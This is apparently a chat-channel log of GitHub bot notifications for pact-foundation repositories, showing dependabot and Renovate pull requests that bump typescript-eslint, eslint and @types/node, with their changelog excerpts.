    ... (truncated) Changelog Sourced from `@​typescript-eslint/eslint-plugin`'s changelog.
    ## 8.44.0 (2025-09-15)
    ### 🚀 Features
    • eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
    ### 🩹 Fixes
    • eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
    ### ❤️ Thank You
    • Moses Odutusin `@​thebolarin`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## 8.43.0 (2025-09-08)
    ### 🚀 Features
    • typescript-estree: disallow empty type parameter/argument lists (#11563)
    ### 🩹 Fixes
    • eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
    • eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
    • eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
    • eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
    • eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
    • scope-manager: exclude Program from DefinitionBase node types (#11469)
    • eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
    • type-utils: add union type support to TypeOrValueSpecifier (#11526)
    ### ❤️ Thank You
    • Dima `@​dbarabashh`
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • tao
    • Victor Genaev `@​mainframev`
    • Yukihiro Hasegawa `@​y-hsgw`
    • 민감자(Minji Kim) `@​mouse0429`
    • 송재욱
    You can read about our versioning strategy and releases on our website.
    ## 8.42.0 (2025-09-02)
    ### 🩹 Fixes
    ... (truncated) Commits • `77056f7` chore(release): publish 8.44.0 • `684e63f` chore(deps): update eslint monorepo to v9.35.0 (#11600) • `2ed6857` fix(eslint-plugin): [no-unnecessary-type-conversion] ignore enum members (<https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/11|#… pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 9:03 PM
    #418 chore(deps-dev): bump eslint from 8.57.1 to 9.35.0 Pull request opened by dependabot[bot] Bumps eslint from 8.57.1 to 9.35.0. Release notes Sourced from eslint's releases.
    ## v9.35.0
    ## Features
    • `42761fa` feat: implement suggestions for no-empty-function (#20057) (jaymarvelz)
    • `102f444` feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)
    • `e51ffff` feat: add
    preserve-caught-error
    rule (#19913) (Amnish Singh Arora)
    ## Bug Fixes
    • `10e7ae2` fix: update uncloneable options error message (#20059) (soda-sorcery)
    • `bfa4601` fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)
    • `dfd11de` fix: add
    before
    and
    after
    to test case types (#20049) (Francesco Trotta)
    • `dabbe95` fix: correct types for
    no-restricted-imports
    rule (#20034) (Milos Djermanovic)
    • `ea789c7` fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)
    ## Documentation
    • `d265515` docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)
    • `a355a0e` docs: invert comparison logic for example in
    no-var
    doc page (#20064) (OTonGitHub)
    • `5082fc2` docs: Update README (GitHub Actions Bot)
    • `99cfd7e` docs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)
    • `6ad8973` docs: update
    --no-ignore
    and
    --ignore-pattern
    documentation (#20036) (Francesco Trotta)
    • `8033b19` docs: add documentation for
    --no-config-lookup
    (#20033) (Francesco Trotta)
    ## Chores
    • `da87f2f` chore: upgrade `@​eslint/js` `@​9`.35.0 (#20077) (Milos Djermanovic)
    • `af2a087` chore: package.json update for
    @​eslint/js
    release (Jenkins)
    • `7055764` test: remove
    tests/lib/eslint/eslint.config.js
    (#20065) (Milos Djermanovic)
    • `84ffb96` chore: update
    @eslint-community/eslint-utils
    (#20069) (Francesco Trotta)
    • `d5ef939` refactor: remove deprecated
    context.parserOptions
    usage across rules (#20060) (sethamus)
    • `1b3881d` chore: remove redundant word (#20058) (pxwanglu)
    ## v9.34.0
    ## Features
    • `0bb777a` feat: multithread linting (#19794) (Francesco Trotta)
    • `43a5f9e` feat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)
    ## Bug Fixes
    • `9b89903` fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)
    • `6c07420` fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)
    • `676f4ac` fix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)
    ## Documentation
    • `0b4a590` docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)
    • `327c672` docs: Update README (GitHub Actions Bot)
    • `bf26229` docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)
    • `2309327` docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)
    • `2b87e21` docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))
    • `c36570c` docs: Update README (GitHub Actions Bot)
    ## Chores
    • `f19ad94` chore: upgrade to
    @eslint/js@9.34.0
    (#20030) (Francesco Trotta)
    • `b48fa20` chore: package.json update for
    @​eslint/js
    release (Jenkins)
    ... (truncated) Changelog Sourced from eslint's changelog.
    v9.35.0 - September 5, 2025
    • <https://github.com/eslint/eslint/commit…
    pact-foundation/jest-pact
  • g

    GitHub

    09/16/2025, 11:05 AM
    #1565 chore(deps): update dependency @types/node to v22.18.4 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [22.18.3 -> 22.18.4](https://renovatebot.com/diffs/npm/@types%2fnode/22.18.3/22.18.4) | [[age](https://camo.githubusercontent.com/a4b6d9cac873992fe4549305070c359d520da2c0477e0ec26b0bb6e35f5b21ad/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f4074797065732532666e6f64652f32322e31382e343f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/6e9520f4fa9350b9962554097a055645804a41974d329895d8ea7fa43e262ca4/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f4074797065732532666e6f64652f32322e31382e332f32322e31382e343f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js
    • 1
    • 1
  • g

    GitHub

    09/16/2025, 10:12 PM
    #1566 chore(deps): update dependency @types/node to v22.18.5 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [22.18.4 -> 22.18.5](https://renovatebot.com/diffs/npm/@types%2fnode/22.18.4/22.18.5) | [[age](https://camo.githubusercontent.com/021a6e31caf6294d4ebd547f72acefdc16776c7147b4150f967496ccf39cadf1/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f4074797065732532666e6f64652f32322e31382e353f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/cf287819a4e715b41c029514443586be6c1c4f4773acb1f212d2cbe17d7f1641/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f4074797065732532666e6f64652f32322e31382e342f32322e31382e353f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js
    • 1
    • 1